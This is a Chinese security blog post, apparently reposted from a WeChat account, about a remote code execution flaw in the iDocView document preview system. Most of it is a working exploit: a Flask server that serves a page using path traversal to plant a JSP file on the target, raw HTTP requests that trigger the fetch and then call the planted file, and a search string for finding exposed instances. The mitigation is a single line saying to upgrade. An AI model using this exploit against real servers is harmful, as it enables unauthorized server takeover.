文末福利 | XVE-2023-23743 RCE漏洞(附EXP)

admin 2023年12月1日13:08:20评论60 views字数 1959阅读6分31秒阅读模式
0x01 前言

   
IDocView在线文档预览系统是由北京卓软在线信息技术有限公司开发的一套系统,用于在Web环境中展示和预览各种文档类型,如文本文档、电子表格、演示文稿、PDF文件等。该系统存在RCE漏洞,可直接控制服务器权限。

 

0x02 漏洞影响

 

影响版本

iDocView < 13.10.1_20231115
0x03 漏洞利用

 

登录界面

文末福利 | XVE-2023-23743 RCE漏洞(附EXP)

直接利用网上已公布的脚本进行复现


from flask import Flaskapp = Flask(__name__)
@app.route('/index.html')def index():  return """<!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8">  <title>title</title>    <link rel="stylesheet" href="..\..\..\docview\aaaa.jsp"></head><body></body></html>"""@app.route('/..\..\..\docview\aaaa.jsp')def jsp():  return '''<% out.print("123");%>'''
if __name__ == '__main__':  app.run(host="0.0.0.0", port=39999)

EXP:

GET /html/2word?url=http://10.0.85.2:39999/index.html HTTP/1.1Host: 127.0.0.1:7070Cache-Control: max-age=0Sec-Ch-Ua: "Google Chrome";v="119", "Chromium";v="119", "Not?A_Brand";v="24"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close

success!

文末福利 | XVE-2023-23743 RCE漏洞(附EXP)

GET /aaaa.jsp HTTP/1.1Host: 127.0.0.1:7070Cache-Control: max-age=0Sec-Ch-Ua: "Google Chrome";v="119", "Chromium";v="119", "Not?A_Brand";v="24"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close

文末福利 | XVE-2023-23743 RCE漏洞(附EXP)

 

0x04 修复方案

 

请升级最新版本。 

 

0x05 下载地址

title=="在线文档预览 - I Doc View"

 

原文始发于微信公众号(渗透Xiao白帽):文末福利 | XVE-2023-23743 RCE漏洞(附EXP)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月1日13:08:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   文末福利 | XVE-2023-23743 RCE漏洞(附EXP)https://cn-sec.com/archives/2259394.html

发表评论

匿名网友 填写信息